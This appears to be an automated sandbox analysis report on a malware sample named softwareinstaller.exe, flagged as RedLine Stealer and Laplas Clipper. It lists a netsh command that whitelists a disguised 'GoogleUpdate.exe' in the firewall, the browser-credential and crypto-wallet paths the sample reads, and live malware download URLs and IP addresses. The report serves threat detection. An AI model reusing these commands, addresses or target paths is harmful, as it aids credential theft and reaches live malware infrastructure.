Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 13_2_00007FF755E97430 GetSystemTimeAsFileTime,

13_2_00007FF755E97430

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0

Modifies the windows firewall

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.softwareinstaller.exe.d377a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.softwareinstaller.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.softwareinstaller.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.240524568.0000000000D72000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: softwareinstaller.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3076, type: MEMORYSTR

Yara detected Laplas Clipper

Source: Yara match	File source: 54.2.conhost.exe.1240000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000036.00000002.587176669.000000000148C000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 2888, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: yk1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: yk5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match	File source: 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3076, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.softwareinstaller.exe.d377a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.softwareinstaller.exe.d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.softwareinstaller.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.240524568.0000000000D72000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: softwareinstaller.exe PID: 1020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3076, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	11 DLL Side-Loading	11 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Native API	1 Windows Service	1 Windows Service	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	1 Scheduled Task/Job	711 Process Injection	31 Obfuscated Files or Information	Security Account Manager	224 System Information Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	11 Command and Scripting Interpreter	Logon Script (Mac)	1 Scheduled Task/Job	11 Software Packing	NTDS	46 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	114 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	11 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	1 Service Execution	Rc.common	Rc.common	11 DLL Side-Loading	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	1 PowerShell	Startup Items	Startup Items	222 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	251 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	711 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
softwareinstaller.exe	41%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Avira	HEUR/AGEN.1213193
C:\Users\user\AppData\Local\Temp\svchost.exe	100%	Avira	TR/Crypt.XPACK.Gen3
C:\Users\user\AppData\Local\Temp\66BC.tmp	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\conhost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Google\ofg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\66BC.tmp	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\brave.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\chrome.exe	65%	ReversingLabs	Win32.Trojan.Lazy
C:\Users\user\AppData\Local\Google\ofg.exe	61%	ReversingLabs	Win32.Trojan.Malgent
C:\Users\user\AppData\Local\Microsoft\conchsvt.exe	62%	ReversingLabs	Win32.Trojan.Nekark
C:\Users\user\AppData\Local\Temp\66BC.tmp	81%	ReversingLabs	ByteCode-MSIL.Trojan.Lazy
C:\Users\user\AppData\Local\Temp\conhost.exe	73%	ReversingLabs	Win32.Trojan.LaplaceClipper
C:\Users\user\AppData\Local\Temp\svchost.exe	73%	ReversingLabs	Win32.Trojan.Fsysna
C:\Windows\GoogleUpdate.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
24.0.chrome.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
50.0.chrome.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
48.2.GoogleUpdate.exe.1100000.0.unpack	100%	Avira	TR/TDSS.Gen2	Download File
50.2.chrome.exe.9d0000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
54.0.conhost.exe.1240000.0.unpack	100%	Avira	HEUR/AGEN.1225107	Download File
24.2.chrome.exe.9d0000.1.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
2.2.vbc.exe.6954ea2.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
api.peer2profit.com	0%	Virustotal	Browse
idpminic.org	3%	Virustotal	Browse
www.idpminic.org	2%	Virustotal	Browse
api.ip.sb	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://www.idpminic.orgD8	0%	Avira URL Cloud	safe
http://www.idpminic.org/aula/ofg7d45fsdfgg312.sfhg	100%	Avira URL Cloud	malware
http://104.193.254.974	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get	0%	Avira URL Cloud	safe
http://www.idpminic.org4	0%	Avira URL Cloud	safe
45.15.156.155:80	0%	Avira URL Cloud	safe
http://104.193.254.97/svchost.exe	100%	Avira URL Cloud	malware
http://104.193.254.97/conhost.exe	100%	Avira URL Cloud	malware
http://104.193.254.97	100%	Avira URL Cloud	malware
http://www.idpminic.org/aula/f429fjd4uf84u.sdfh	100%	Avira URL Cloud	malware
http://www.idpminic.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.peer2profit.com	172.66.43.60	true	true	0%, Virustotal, Browse	unknown
idpminic.org	66.235.200.147	true	false	3%, Virustotal, Browse	unknown
www.idpminic.org	unknown	unknown	true	2%, Virustotal, Browse	unknown
api.ip.sb	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.idpminic.org/aula/ofg7d45fsdfgg312.sfhg	false	Avira URL Cloud: malware	unknown
45.15.156.155:80	true	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/get	true	Avira URL Cloud: safe	unknown
http://104.193.254.97/svchost.exe	false	Avira URL Cloud: malware	unknown
http://104.193.254.97/conhost.exe	false	Avira URL Cloud: malware	unknown
http://www.idpminic.org/aula/f429fjd4uf84u.sdfh	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, conchsvt.exe, 0000000C.00000000.307537958.0000000000372000.00000002.00000001.01000000.0000000A.sdmp, conchsvt.exe.2.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
